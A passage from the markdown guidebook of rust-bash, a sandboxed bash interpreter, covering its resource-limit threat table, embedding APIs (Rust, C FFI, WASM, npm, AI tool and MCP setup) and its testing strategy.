|\n| Infinite loops | `max_loop_iterations` limit | ✅ |\n| Fork bombs / recursion | `max_call_depth` limit | ✅ |\n| Resource exhaustion | `max_command_count`, `max_execution_time`, `max_output_size` limits | ✅ |\n| Memory exhaustion | `max_string_length`, `max_heredoc_size`, `max_brace_expansion` limits | ✅ |\n| Path traversal | VFS path normalization handles `..`; OverlayFs restricts reads to specified base | Core design |\n| Host time leakage | `SystemTime::now()` exposes real clock; future: inject clock abstraction | Known limitation |\n| Lock poisoning | `parking_lot::RwLock` (non-poisoning) prevents command panics from killing VFS | Design decision |\n| Glob DoS | `max_glob_results` prevents unbounded glob expansion | ✅ |\n| Nested substitution | `max_substitution_depth` prevents `$($($(...)))` stack overflow | ✅ |\n\n### What We Guarantee\n\n1. **No real filesystem mutation** — when using `InMemoryFs` or `OverlayFs`, no file on the host is ever written or deleted.\n2. **No process spawning** — the codebase contains zero calls to `std::process::Command`.\n3. **No network access by default** — networking requires explicit opt-in via `NetworkPolicy`.\n4. **Bounded execution** — configurable limits prevent any script from consuming unbounded resources.\n\n### What We Don't Guarantee\n\n1. **Timing side channels** — `SystemTime::now()` leaks real time. A determined attacker could measure execution timing.\n2. **Memory usage** — we limit string sizes and output, but don't have a hard memory cap. A pathological script could still use significant memory within the per-limit bounds.\n3. **CPU time** — `max_execution_time` is wall-clock, not CPU time. On a loaded system, a script might use more CPU time than expected.\n4. **Deterministic output** — commands like `date` and `$RANDOM` produce non-deterministic output. For deterministic testing, inject fixed values via environment variables or clock abstraction.\n\n## Configuration\n\n```rust\nlet mut shell = RustBashBuilder::new()\n    .execution_limits(ExecutionLimits {\n        max_command_count: 1_000,\n        max_execution_time: Duration::from_secs(5),\n        ..Default::default()\n    })\n    .network_policy(NetworkPolicy {\n        enabled: true,\n        allowed_url_prefixes: vec![\"https://api.example.com/\".into()],\n        ..Default::default()\n    })\n    .build()\n    .unwrap();\n```\n\nAll limits have sensible defaults. You only need to configure limits you want to change.\n","/home/user/docs/guidebook/08-integration-targets.md":"# Chapter 8: Integration Targets\n\n## Overview\n\nrust-bash is designed to be embedded anywhere. This chapter covers the integration surfaces: Rust crate API, CLI binary, C FFI, WASM, and AI SDK tool definitions.\n\n## Rust Crate API\n\nThe primary interface. All other integration targets are thin wrappers around this.\n\n```rust\nuse rust_bash::{RustBashBuilder, ExecResult};\nuse std::collections::HashMap;\n\nlet mut shell = RustBashBuilder::new()\n    .files(HashMap::from([\n        (\"/data.txt\".into(), b\"hello world\".to_vec()),\n        (\"/config.json\".into(), b\"{}\".to_vec()),\n    ]))\n    .env(HashMap::from([\n        (\"USER\".into(), \"agent\".into()),\n        (\"HOME\".into(), \"/home/agent\".into()),\n    ]))\n    .cwd(\"/\")\n    .build()\n    .unwrap();\n\nlet result: ExecResult = shell.exec(\"cat /data.txt | grep hello\").unwrap();\nassert_eq!(result.stdout, \"hello world\\n\");\nassert_eq!(result.exit_code, 0);\n```\n\n### RustBashBuilder\n\n```rust\nRustBashBuilder::new()\n    .files(HashMap<String, Vec<u8>>)     // Seed VFS with files (path → bytes)\n    .env(HashMap<String, String>)        // Set environment variables\n    .cwd(\"/path\")                        // Set working directory (created automatically)\n    .execution_limits(limits)            // Configure limits\n    .network_policy(policy)              // Configure network access\n    .fs(Arc<dyn VirtualFs>)              // Use a custom filesystem backend\n    .command(Box::new(custom_cmd))       // Register a custom command\n    .build()                             // Returns Result<RustBash, RustBashError>\n```\n\n### ExecResult\n\n```rust\npub struct ExecResult {\n    pub stdout: String,\n    pub stderr: String,\n    pub exit_code: i32,\n}\n```\n\n## CLI Binary\n\nA standalone binary for command-line usage (Milestone M5.1).\n\n```bash\n# Execute a command\nrust-bash -c 'echo hello | wc -c'\n\n# Execute a script file with positional arguments\nrust-bash script.sh arg1 arg2\n\n# Read commands from stdin\necho 'echo hello' | rust-bash\n\n# Seed files from disk\nrust-bash --files /data:/app/data.txt --files /config:/app/config.json -c 'cat /app/data.txt'\n\n# Set environment\nrust-bash --env USER=agent --env HOME=/home/agent -c 'echo $USER'\n\n# JSON output for machine consumption\nrust-bash --json -c 'echo hello'\n# {\"stdout\":\"hello\\n\",\"stderr\":\"\",\"exit_code\":0}\n\n# Interactive REPL (starts when no command/script/stdin is given)\nrust-bash\n```\n\n### Interactive REPL\n\nWhen launched without `-c`, a script file, or piped stdin, `rust-bash` starts an\ninteractive REPL with readline support:\n\n- **Colored prompt**: `rust-bash:{cwd}$ ` — green after exit 0, red after non-zero\n- **Tab completion**: completes built-in command names (first token only)\n- **Multi-line input**: incomplete constructs wait for continuation input\n- **History**: loaded from / saved to `~/.rust_bash_history`\n- **Ctrl-C**: cancels the current input line\n- **Ctrl-D**: exits the REPL with the last command's exit code\n- **`exit [N]`**: exits with code N (default 0)\n- **`--json`**: rejected in REPL mode (exits with code 2)\n\n> An interactive REPL is also available as a runnable example showing library-level embedding:\n> `cargo run --example shell`\n\nThe CLI binary compiles as a single binary with no additional runtime dependencies beyond libc.\n\n## C FFI\n\nFor embedding in Python, Go, Ruby, or any language with C interop.\n\n### Build\n\n```bash\ncargo build --features ffi --release\n# Output: target/release/librust_bash.so (Linux), .dylib (macOS), .dll (Windows)\n# Header: include/rust_bash.h\n```\n\n### API\n\nSix functions are exported (see `include/rust_bash.h` for full documentation):\n\n```c\n#include \"rust_bash.h\"\n\n// Lifecycle\nstruct RustBash *rust_bash_create(const char *config_json); // NULL config → defaults\nvoid             rust_bash_free(struct RustBash *sb);       // NULL-safe no-op\n\n// Execution\nstruct ExecResult *rust_bash_exec(struct RustBash *sb, const char *command);\nvoid               rust_bash_result_free(struct ExecResult *result); // NULL-safe no-op\n\n// Diagnostics\nconst char *rust_bash_last_error(void); // NULL if no error; do not free\nconst char *rust_bash_version(void);    // static string; do not free\n```\n\nThe `ExecResult` struct:\n\n```c\ntypedef struct ExecResult {\n    const char *stdout_ptr;\n    int32_t     stdout_len;\n    const char *stderr_ptr;\n    int32_t     stderr_len;\n    int32_t     exit_code;\n} ExecResult;\n```\n\n### Configuration via JSON\n\nConfig is passed as a JSON string to `rust_bash_create`. All fields are optional — an empty `{}` or `NULL` produces a default-configured sandbox.\n\n```json\n{\n  \"files\": {\n    \"/data.txt\": \"content\",\n    \"/config.json\": \"{}\"\n  },\n  \"env\": {\n    \"USER\": \"agent\",\n    \"HOME\": \"/home/agent\"\n  },\n  \"cwd\": \"/\",\n  \"limits\": {\n    \"max_command_count\": 10000,\n    \"max_execution_time_secs\": 30,\n    \"max_loop_iterations\": 10000,\n    \"max_output_size\": 10485760,\n    \"max_call_depth\": 25,\n    \"max_string_length\": 10485760,\n    \"max_glob_results\": 100000,\n    \"max_substitution_depth\": 50,\n    \"max_heredoc_size\": 10485760,\n    \"max_brace_expansion\": 10000\n  },\n  \"network\": {\n    \"enabled\": true,\n    \"allowed_url_prefixes\": [\"https://api.example.com/\"],\n    \"allowed_methods\": [\"GET\", \"POST\"],\n    \"max_response_size\": 10485760,\n    \"max_redirects\": 5,\n    \"timeout_secs\": 30\n  }\n}\n```\n\n### Memory Ownership\n\n- `rust_bash_create` returns a heap-allocated sandbox; caller must call `rust_bash_free`.\n- `rust_bash_exec` returns a heap-allocated result; caller must call `rust_bash_result_free`.\n- String pointers in `ExecResult` are valid until `rust_bash_result_free` is called.\n- `rust_bash_version` returns a static string — do not free.\n- `rust_bash_last_error` returns a pointer into thread-local storage — valid only until the next FFI call on the same thread; do not free.\n\n### Thread Safety\n\nA `RustBash*` handle must not be shared across threads without external synchronization. Each handle is independently owned; different handles may be used concurrently from different threads. The last-error storage (`rust_bash_last_error`) is thread-local, so error messages are per-thread.\n\n### Error Handling\n\nFunctions that can fail (`rust_bash_create`, `rust_bash_exec`) return `NULL` on error. After a `NULL` return, call `rust_bash_last_error()` on the same thread to retrieve a human-readable error message. The error string is valid until the next FFI call on that thread.\n\n```c\nstruct RustBash *sb = rust_bash_create(\"{invalid json}\");\nif (!sb) {\n    fprintf(stderr, \"Error: %s\\n\", rust_bash_last_error());\n}\n```\n\n### Python Example\n\n```python\nimport ctypes\n\nclass ExecResult(ctypes.Structure):\n    _fields_ = [\n        (\"stdout_ptr\", ctypes.c_void_p),\n        (\"stdout_len\", ctypes.c_int32),\n        (\"stderr_ptr\", ctypes.c_void_p),\n        (\"stderr_len\", ctypes.c_int32),\n        (\"exit_code\", ctypes.c_int32),\n    ]\n\nlib = ctypes.CDLL(\"./target/release/librust_bash.so\")\n\nlib.rust_bash_create.argtypes = [ctypes.c_char_p]\nlib.rust_bash_create.restype = ctypes.c_void_p\nlib.rust_bash_exec.argtypes = [ctypes.c_void_p, ctypes.c_char_p]\nlib.rust_bash_exec.restype = ctypes.POINTER(ExecResult)\nlib.rust_bash_result_free.argtypes = [ctypes.POINTER(ExecResult)]\nlib.rust_bash_free.argtypes = [ctypes.c_void_p]\nlib.rust_bash_last_error.restype = ctypes.c_char_p\n\nsb = lib.rust_bash_create(b'{\"files\":{\"/data.txt\":\"hello\"}}')\nif not sb:\n    print(\"Error:\", lib.rust_bash_last_error())\nelse:\n    result = lib.rust_bash_exec(sb, b\"cat /data.txt\")\n    if result:\n        r = result.contents\n        stdout = ctypes.string_at(r.stdout_ptr, r.stdout_len)\n        print(stdout)  # b'hello\\n'\n        print(\"exit code:\", r.exit_code)\n        lib.rust_bash_result_free(result)\n    lib.rust_bash_free(sb)\n```\n\n### Go Example\n\n```go\npackage main\n\n/*\n#cgo LDFLAGS: -L./target/release -lrust_bash\n#include \"include/rust_bash.h\"\n#include <stdlib.h>\n*/\nimport \"C\"\nimport (\n\t\"fmt\"\n\t\"unsafe\"\n)\n\nfunc main() {\n\tsb := C.rust_bash_create(nil)\n\tif sb == nil {\n\t\tpanic(C.GoString(C.rust_bash_last_error()))\n\t}\n\tdefer C.rust_bash_free(sb)\n\n\tcmd := C.CString(\"echo hello world\")\n\tdefer C.free(unsafe.Pointer(cmd))\n\n\tr := C.rust_bash_exec(sb, cmd)\n\tif r == nil {\n\t\tpanic(C.GoString(C.rust_bash_last_error()))\n\t}\n\tdefer C.rust_bash_result_free(r)\n\n\tfmt.Printf(\"%s\", C.GoStringN(r.stdout_ptr, C.int(r.stdout_len)))\n\tfmt.Printf(\"exit code: %d\\n\", r.exit_code)\n}\n```\n\n## WASM Target\n\nFor browser and edge runtime embedding. The Rust interpreter compiles to `wasm32-unknown-unknown` via `wasm-bindgen`.\n\n### Build\n\n```bash\n# Using the build script\n./scripts/build-wasm.sh\n\n# Or manually\ncargo build --target wasm32-unknown-unknown --features wasm --no-default-features --release\nwasm-bindgen target/wasm32-unknown-unknown/release/rust_bash.wasm --out-dir pkg --target bundler\n```\n\n### Platform Abstraction\n\n- `std::time::{SystemTime, Instant}` → `crate::platform::*` (uses `web-time` crate on WASM)\n- `std::thread::sleep` → returns error \"sleep: not supported in browser environment\"\n- `chrono` uses `wasmbind` feature on WASM for timezone support\n- `ureq`/`url` (networking) feature-gated behind `network` — disabled on WASM\n- `OverlayFs`/`ReadWriteFs` feature-gated behind `native-fs` — WASM only gets `InMemoryFs`/`MountableFs`\n- `parking_lot` compiles to WASM (falls back to spin-locks)\n\n### Cargo Features for WASM\n\n```toml\n[features]\ndefault = [\"cli\", \"network\", \"native-fs\"]\nwasm = [\"dep:wasm-bindgen\", \"dep:js-sys\", \"dep:serde\", \"dep:serde-wasm-bindgen\"]\nnetwork = [\"dep:ureq\", \"dep:url\"]    # disabled on WASM\nnative-fs = []                         # disabled on WASM\n```\n\n### Compatibility Notes\n\n- brush-parser compiles to `wasm32-unknown-unknown`\n- The interpreter and VFS are pure Rust with no OS dependencies\n- `web-time` crate provides `SystemTime`/`Instant` replacements for WASM\n- Networking (`curl`) is feature-gated out; returns \"command not found\" on WASM\n\n## npm Package (`rust-bash`)\n\nThe TypeScript npm package wraps both WASM and native addon backends behind a unified API.\n\n### Installation\n\n```bash\nnpm install rust-bash\n```\n\n### Architecture\n\nThe package ships three layers:\n\n1. **TypeScript API** (`Bash` class, `defineCommand`, tool primitives) — the public interface\n2. **Native addons** (napi-rs) — bundled Linux/macOS x64 and arm64 binaries for Node.js\n3. **WASM backend** — browser and edge runtime support\n\nBackend detection is automatic on Node.js (matching bundled native binary first,\nWASM fallback). Browsers use the `rust-bash/browser` entry point (WASM only).\n\n### Quick Start (Node.js)\n\n```typescript\nimport { Bash, tryLoadNative, createNativeBackend, initWasm, createWasmBackend } from 'rust-bash';\n\n// Auto-detect backend\nlet createBackend;\nif (await tryLoadNative()) {\n  createBackend = createNativeBackend;\n} else {\n  await initWasm();\n  createBackend = createWasmBackend;\n}\n\nconst bash = await Bash.create(createBackend, {\n  files: { '/data.txt': 'hello world' },\n  env: { USER: 'agent' },\n});\n\nconst result = await bash.exec('cat /data.txt | grep hello');\nconsole.log(result.stdout); // \"hello world\\n\"\n```\n\n### Quick Start (Browser)\n\n```typescript\nimport { Bash, initWasm, createWasmBackend } from 'rust-bash/browser';\n\nawait initWasm();\nconst bash = await Bash.create(createWasmBackend, {\n  files: { '/hello.txt': 'Hello from WASM!' },\n  cwd: '/home/user',\n});\n\nconst result = await bash.exec('cat /hello.txt');\nconsole.log(result.stdout); // \"Hello from WASM!\\n\"\n```\n\n### Bash Class API\n\n```typescript\nconst bash = await Bash.create(createBackend, {\n  files: {\n    '/data.txt': 'hello world',              // eager\n    '/lazy.txt': () => 'lazy content',        // lazy sync\n    '/async.txt': async () => fetchData(),    // lazy async\n  },\n  env: { USER: 'agent', HOME: '/home/agent' },\n  cwd: '/',\n  executionLimits: {\n    maxCommandCount: 10000,\n    maxExecutionTimeSecs: 30,\n  },\n  customCommands: [myCommand],\n});\n\n// Execute commands\nconst result = await bash.exec('echo hello | tr a-z A-Z');\n// { stdout: \"HELLO\\n\", stderr: \"\", exitCode: 0 }\n\n// Per-exec overrides\nconst result2 = await bash.exec('cat /data.txt', {\n  env: { LANG: 'en_US.UTF-8' },\n  cwd: '/data',\n  stdin: 'input data',\n});\n\n// Direct VFS access\nbash.fs.writeFileSync('/output.txt', 'content');\nconst data = bash.fs.readFileSync('/output.txt');\n```\n\n### Custom Commands\n\n```typescript\nimport { defineCommand } from 'rust-bash';\n\nconst fetch = defineCommand('fetch', async (args, ctx) => {\n  const url = args[0];\n  const response = await globalThis.fetch(url);\n  return { stdout: await response.text(), stderr: '', exitCode: 0 };\n});\n\nconst bash = await Bash.create(createBackend, {\n  customCommands: [fetch],\n});\n```\n\n### Package Exports\n\n| Export | Description |\n|--------|-------------|\n| `Bash` | Main class — `Bash.create(backend, options)` |\n| `defineCommand` | Create custom commands |\n| `bashToolDefinition` | JSON Schema tool definition for AI integration |\n| `createBashToolHandler` | Factory for tool handlers |\n| `formatToolForProvider` | Format tools for OpenAI, Anthropic, MCP |\n| `handleToolCall` | Multi-tool dispatcher |\n| `initWasm` / `createWasmBackend` | WASM backend |\n| `tryLoadNative` / `createNativeBackend` | Native addon backend |\n\n## AI SDK Tool Definition\n\nFor use with OpenAI, Anthropic, and other function-calling LLM APIs. Available via both the TypeScript npm package and the Rust CLI's MCP server mode.\n\n### TypeScript: Framework-Agnostic Primitives\n\n`rust-bash` exports JSON Schema tool definitions and a handler factory that work with **any** AI agent framework — no framework dependencies required.\n\n```typescript\nimport { bashToolDefinition, createBashToolHandler, formatToolForProvider, createNativeBackend } from 'rust-bash';\n\n// bashToolDefinition is a plain JSON Schema object:\n// {\n//   name: 'bash',\n//   description: 'Execute bash commands in a sandboxed environment...',\n//   inputSchema: {\n//     type: 'object',\n//     properties: { command: { type: 'string', description: '...' } },\n//     required: ['command'],\n//   },\n// }\n\n// createBashToolHandler returns a framework-agnostic handler:\nconst { handler, definition, bash } = createBashToolHandler(createNativeBackend, {\n  files: { '/data.txt': 'hello world' },\n  maxOutputLength: 10000,\n});\n\nconst result = await handler({ command: 'grep hello /data.txt' });\n// { stdout: 'hello world\\n', stderr: '', exitCode: 0 }\n\n// Format for specific providers (thin wrappers, no dependencies)\nconst openaiTool = formatToolForProvider(bashToolDefinition, 'openai');\n// { type: \"function\", function: { name: \"bash\", description: \"...\", parameters: {...} } }\n\nconst anthropicTool = formatToolForProvider(bashToolDefinition, 'anthropic');\n// { name: \"bash\", description: \"...\", input_schema: {...} }\n\nconst mcpTool = formatToolForProvider(bashToolDefinition, 'mcp');\n// { name: \"bash\", description: \"...\", inputSchema: {...} }\n```\n\nAdditional exports for agent loops:\n\n- `handleToolCall(bash, toolName, args)` — dispatches `bash`, `readFile`/`read_file`, `writeFile`/`write_file`, `listDirectory`/`list_directory` tool calls (supports both camelCase and snake_case)\n- `writeFileToolDefinition`, `readFileToolDefinition`, `listDirectoryToolDefinition` — JSON Schema definitions for file operation tools\n\n### Recipe: OpenAI\n\n```typescript\nimport OpenAI from 'openai';\nimport { createBashToolHandler, formatToolForProvider, bashToolDefinition, createNativeBackend } from 'rust-bash';\n\nconst { handler } = createBashToolHandler(createNativeBackend, { files: myFiles });\n\nconst response = await openai.chat.completions.create({\n  model: 'gpt-4o',\n  tools: [formatToolForProvider(bashToolDefinition, 'openai')],\n  messages: [{ role: 'user', content: 'List files in /data' }],\n});\n\nfor (const toolCall of response.choices[0].message.tool_calls ?? []) {\n  const result = await handler(JSON.parse(toolCall.function.arguments));\n}\n```\n\n### Recipe: Anthropic\n\n```typescript\nimport Anthropic from '@anthropic-ai/sdk';\nimport { createBashToolHandler, formatToolForProvider, bashToolDefinition, createNativeBackend } from 'rust-bash';\n\nconst { handler } = createBashToolHandler(createNativeBackend, { files: myFiles });\n\nconst response = await anthropic.messages.create({\n  model: 'claude-sonnet-4-20250514',\n  max_tokens: 1024,\n  tools: [formatToolForProvider(bashToolDefinition, 'anthropic')],\n  messages: [{ role: 'user', content: 'List files in /data' }],\n});\n\nfor (const block of response.content) {\n  if (block.type === 'tool_use') {\n    const result = await handler(block.input);\n  }\n}\n```\n\n### Recipe: Vercel AI SDK\n\n```typescript\nimport { tool } from 'ai';\nimport { z } from 'zod';\nimport { createBashToolHandler, createNativeBackend } from 'rust-bash';\n\nconst { handler } = createBashToolHandler(createNativeBackend, { files: myFiles });\nconst bashTool = tool({\n  description: 'Execute bash commands in a sandbox',\n  parameters: z.object({ command: z.string() }),\n  execute: async ({ command }) => handler({ command }),\n});\n```\n\n### Recipe: LangChain.js\n\n```typescript\nimport { tool } from '@langchain/core/tools';\nimport { z } from 'zod';\nimport { createBashToolHandler, createNativeBackend } from 'rust-bash';\n\nconst { handler, definition } = createBashToolHandler(createNativeBackend, { files: myFiles });\nconst bashTool = tool(\n  async ({ command }) => JSON.stringify(await handler({ command })),\n  { name: definition.name, description: definition.description, schema: z.object({ command: z.string() }) },\n);\n```\n\nSee [AI Agent Tool Recipe](../recipes/ai-agent-tool.md) for complete examples with full agent loops.\n\n### MCP Server Mode\n\nThe CLI binary includes a built-in MCP (Model Context Protocol) server for direct integration with Claude Desktop, Cursor, VS Code, Windsurf, Cline, and the OpenAI Agents SDK:\n\n```bash\nrust-bash --mcp\n```\n\nExposed tools: `bash`, `write_file`, `read_file`, `list_directory`.\n\nConfiguration for Claude Desktop (`~/Library/Application Support/Claude/claude_desktop_config.json` on macOS):\n\n```json\n{\n  \"mcpServers\": {\n    \"rust-bash\": {\n      \"command\": \"rust-bash\",\n      \"args\": [\"--mcp\"]\n    }\n  }\n}\n```\n\nConfiguration for VS Code (`.vscode/mcp.json`):\n\n```json\n{\n  \"servers\": {\n    \"rust-bash\": {\n      \"type\": \"stdio\",\n      \"command\": \"rust-bash\",\n      \"args\": [\"--mcp\"]\n    }\n  }\n}\n```\n\nThe MCP server maintains a stateful shell session across all tool calls — variables, files, and working directory persist between invocations.\n\nSee [MCP Server Setup](../recipes/mcp-server.md) for detailed setup instructions for all supported clients.\n\n### Tool Schema\n\n```json\n{\n  \"type\": \"function\",\n  \"function\": {\n    \"name\": \"bash\",\n    \"description\": \"Execute bash commands in a sandboxed environment with an in-memory filesystem.\",\n    \"parameters\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"command\": {\n          \"type\": \"string\",\n          \"description\": \"The bash command to execute\"\n        }\n      },\n      \"required\": [\"command\"]\n    }\n  }\n}\n```\n\n### Rust Integration Pattern\n\n```rust\n// Create sandbox once per agent session\nlet mut shell = RustBashBuilder::new()\n    .files(project_files)\n    .build()\n    .unwrap();\n\n// In the agent tool dispatch loop:\nmatch tool_call.name.as_str() {\n    \"bash\" => {\n        let command = tool_call.arguments[\"command\"].as_str().unwrap();\n        let result = shell.exec(command)?;\n        format!(\"stdout:\\n{}\\nstderr:\\n{}\\nexit_code: {}\", \n                result.stdout, result.stderr, result.exit_code)\n    }\n    _ => { /* other tools */ }\n}\n```\n\n## Browser Integration (WASM)\n\nrust-bash runs in the browser via WebAssembly. The `rust-bash` npm package provides a browser entry point that loads the WASM binary.\n\n### Architecture\n\nThe showcase website at `examples/website/` demonstrates the full browser integration:\n\n1. **xterm.js** renders a terminal in the browser\n2. **rust-bash WASM** (or a development mock) executes commands\n3. An **AI agent** (via Cloudflare Worker → Gemini API) can request tool calls\n4. Tool calls execute **locally** in the browser — no server roundtrip for bash\n\n### Key Concepts\n\n- **Shared state**: The user and agent share the same bash instance and VFS. Files created by the agent are visible to the user and vice versa.\n- **Client-side execution**: All bash commands run locally in the WASM module. The only network call is to the LLM proxy for the `agent` command.\n- **Cached responses**: The initial demo uses a hand-crafted `AgentEvent[]` array, avoiding API calls on first load.\n\n### Usage\n\n```typescript\nimport { Bash, initWasm, createWasmBackend } from 'rust-bash/browser';\n\n// Initialize WASM module\nawait initWasm();\n\n// Create a bash instance with preloaded files\nconst bash = await Bash.create(createWasmBackend, {\n  files: { '/hello.txt': 'Hello from WASM!' },\n  cwd: '/home/user',\n});\n\nconst result = await bash.exec('cat /hello.txt');\nconsole.log(result.stdout); // \"Hello from WASM!\"\n```\n","/home/user/docs/guidebook/09-testing-strategy.md":"# Chapter 9: Testing Strategy\n\n## Overview\n\nrust-bash needs high test confidence because it's a security boundary — incorrect behavior could leak host resources or produce wrong results for agents. This chapter covers all testing approaches.\n\n## Test Categories\n\n### Unit Tests\n\nEach component tested in isolation:\n\n- **VFS operations**: file CRUD, directory operations, path normalization, symlinks, glob matching\n- **Word expansion**: variable expansion, quoting, command substitution, arithmetic, tilde, brace expansion\n- **Commands**: each command tested with known inputs and expected outputs\n- **Execution limits**: verify each limit type is enforced correctly\n\nUnit tests live alongside the code in `#[cfg(test)]` modules.\n\n### Integration Tests\n\nEnd-to-end tests through the `RustBash::exec()` API:\n\n```rust\n#[test]\nfn pipeline_with_redirect() {\n    let mut sb = RustBashBuilder::new()\n        .files(HashMap::from([\n            (\"/data.txt\".into(), b\"hello\\nworld\\nhello\".to_vec()),\n        ]))\n        .build()\n        .unwrap();\n    let r = sb.exec(\"grep hello /data.txt | wc -l > /count.txt && cat /count.txt\").unwrap();\n    assert_eq!(r.stdout, \"2\\n\");\n    assert_eq!(r.exit_code, 0);\n}\n```\n\nIntegration tests verify:\n- Multi-command scripts with pipelines, redirections, and control flow\n- State persistence across `exec()` calls (files, env, cwd)\n- Error handling (parse errors, command errors, limit exceeded)\n- Builder configuration (files, env, cwd, limits)\n\nIntegration tests live in `tests/`.\n\n### Snapshot Tests\n\nUse the `insta` crate for snapshot testing. Run a command through the sandbox and compare the output against a saved snapshot:\n\n```rust\n#[test]\nfn snapshot_ls_output() {\n    let mut sb = RustBashBuilder::new()\n        .files(HashMap::from([\n            (\"/a.txt\".into(), vec![]),\n            (\"/b.txt\".into(), vec![]),\n            (\"/dir/c.txt\".into(), vec![]),\n        ]))\n        .build()\n        .unwrap();\n    let r = sb.exec(\"ls -la /\").unwrap();\n    insta::assert_snapshot!(r.stdout);\n}\n```\n\nSnapshots are the most efficient way to catch regressions across 70+ commands. When behavior intentionally changes, review and update snapshots with `cargo insta review`.\n\n### Differential Testing — Comparison Tests\n\nComparison tests verify that rust-bash produces the same stdout, stderr, and exit code as real `/bin/bash` for a corpus of shell scripts. Each test case is a TOML entry with a bash script and recorded expected output. Tests run against rust-bash only during `cargo test` — no real bash needed. A separate recording mode re-captures expected output from real bash.\n\n**File location**: `tests/fixtures/comparison/` — organized by feature area (quoting, expansion, control flow, etc.).\n\n**Runner**: `tests/comparison.rs` uses `datatest-stable` to discover all `.toml` fixture files and generate one `#[test]` per file. Within each file, all cases run sequentially; failures are collected and reported together.\n\n**What's covered** (280 test cases across 35 fixture files):\n- Quoting (single, double, backslash escaping)\n- Parameter expansion (defaults, alternatives, substitution, length, case modification)\n- Command substitution, arithmetic expansion, brace expansion, tilde expansion\n- Word splitting (IFS variations)\n- Globbing (`*`, `?`, `[...]`)\n- Redirections (`>`, `>>`, `2>`, `<`, here-documents, here-strings)\n- Pipelines (simple and multi-stage)\n- Control flow (`if`, `for`, `while`, `case`, logical operators)\n- Functions (definition, local variables, return values)\n- Arrays (indexed, associative, sparse, append, keys, length, unset)\n- `PIPESTATUS` and `BASH_REMATCH`\n- `declare` attributes (`-i`, `-l`, `-u`, `-n`, `-a`, `-A`, `-p`)\n- `read` flags (`-r`, `-a`, `-d`, `-n`, `-N`, `-s`, `-t`)\n- Parameter transforms (`${x@Q}`, `${!ref}`, `${!prefix*}`)\n- Special variables (`SECONDS`, `PPID`, `EUID`)\n- `set` options (`-v`, `-a`, `-o posix`)\n- Advanced redirections (`|&`)\n\nThe suite uses a three-state model: **pass** (must match), **xfail** (known product gap, expected to mismatch), and **skip** (harness/platform blocker). Of the 280 cases, 278 are pass, 1 is xfail, and 1 is skip. The runner prints per-milestone summaries (pass/xfail/skip/unexpected-pass counts) and treats unexpected passes as failures to force promotion.\n\n### Differential Testing — Spec Tests\n\nSpec tests verify command implementations (`grep`, `sed`, `awk`, `jq`) against manually written expected output. Unlike comparison tests, spec tests do **not** have a recording mode — expected output is written by hand because our implementations are intentionally subset.\n\n**File location**: `tests/fixtures/spec/` — organized by command (`grep/`, `sed/`, `awk/`, `jq/`).\n\n**Runner**: `tests/spec_tests.rs` — structurally identical to the comparison runner but reads from `tests/fixtures/spec/` and does not support recording.\n\n**What's covered** (200 test cases across 14 fixture files, all passing):\n- **grep**: literal matching, regex, flags (`-i`, `-v`, `-c`, `-n`, `-l`, `-r`, `-E`, `-F`, `-w`, `-o`, `-q`, `-A`/`-B`/`-C`, `-e`, `-x`, `-m`, `-h`)\n- **sed**: substitution, address ranges, delete/print/append/insert/change, transliterate (`y///`), hold space, in-place edit (`-i`), branching\n- **awk**: field splitting, patterns, built-in functions, arithmetic, associative arrays\n- **jq**: basic filters, pipe operator, types, comparison, built-in functions (`map`, `select`, `keys`, `sort`, `reduce`, `length`, `split`, `join`, `test`, etc.), string interpolation, alternative operator, output flags (`-r`, `-c`, `-s`, `-S`, `-n`, `-j`), `--arg`/`--argjson`\n\n### Differential Testing — Oils Spec Tests\n\nThe [Oils project](https://github.com/oils-for-unix/oils) (formerly Oil Shell) maintains the most comprehensive open-source bash conformance test suite: **2,846 test cases across 142 `.test.sh` files**. These tests are licensed under Apache 2.0 and imported from upstream Oils commit `7789e21d81537a5b47bacbd4267edf7c659a9366`.\n\n**File location**: `tests/fixtures/oils/` — the `.test.sh` files, a `LICENSE`\nattribution, `pass-list.txt`, and a tracked `testdata/` subset of upstream\nhelper scripts that referenced cases need at runtime.\n\n**Runner**: `tests/oils_spec.rs` uses `datatest-stable` to discover all `.test.sh` files and generate one `#[test]` per file. Within each file, all cases run sequentially with per-file summaries.\n\n**Format**: Oils tests use a plain-text format different from the TOML format used by comparison and spec tests:\n\n```bash\n#### test name\necho hello\n## stdout: hello\n\n#### multiline output\necho line1\necho line2\n## STDOUT:\nline1\nline2\n## END\n\n#### expected failure\nfalse\n## status: 1\n```\n\nKey format elements:\n- `#### name` — test case delimiter and name\n- `## stdout: value` — single-line expected stdout\n- `## STDOUT:\\n...\\n## END` — multiline expected stdout\n- `## status: N` — expected exit code (default 0)\n- `## OK bash ...` / `## BUG bash ...` / `## N-I bash ...` — shell-specific expected output overrides\n\n**Pass-list approach**: The Oils suite inverts the xfail model used by comparison and spec tests. Instead of marking known failures, it maintains a **pass-list** (`tests/fixtures/oils/pass-list.txt`) of known-passing case names. Everything else defaults to xfail. This is a better fit because the imported corpus has far more expected failures than passes.\n\n**Current coverage** (142 files, 2,728 cases total):\n- 100 files tested, 42 files skipped\n- **2,176 pass** / **165 xfail** / **79 skip** / **0 unexpected-pass** / **0 fail**\n\n**File-level skip categories** (42 files):\n- Non-applicable (zsh-specific, ble.sh, nix, toysh, etc.)\n- CLI/REPL-only (interactive, completion, history, prompt)\n- Process/trap features outside the `exec()` harness (background, kill, trap)\n- Oils-specific (parser exploration, deferred assignment, etc.)\n\n**Adding cases to the pass-list**: When implementing a feature causes new Oils cases to pass, regenerate the pass-list:\n\n```bash\nOILS_GENERATE_PASS_LIST=1 cargo test --test oils_spec 2>&1 \\\n  | grep '^PASS_LIST:' | sed 's/^PASS_LIST://' | sort > tests/fixtures/oils/pass-list.txt\n```\n\nReview the diff and commit the updated `pass-list.txt`.\n\n**Unexpected-pass enforcement**: If a case passes that is not in the pass-list, it is reported as an unexpected pass. The runner treats unexpected passes as test failures, forcing promotion — the same discipline used by the comparison and spec suites.\n\n### Fuzzing\n\nUse `cargo fuzz` to feed arbitrary strings through the full pipeline:\n\n```\narbitrary string → tokenize → parse → interpret → VFS\n```\n\nThe fuzzer should verify:\n- No panics (catch_unwind everything)\n- No infinite loops (execution limits must catch them)\n- No real FS access (monitor with strace in CI)\n- No unbounded memory growth\n\nStart fuzzing early — don't defer to later milestones. The parser → interpreter boundary is a rich attack surface.\n\n## Test Organization\n\n```\nrust-bash/\n├── src/\n│   ├── vfs/\n│   │   ├── memory.rs          # InMemoryFs implementation\n│   │   ├── readwrite_tests.rs # #[cfg(test)] 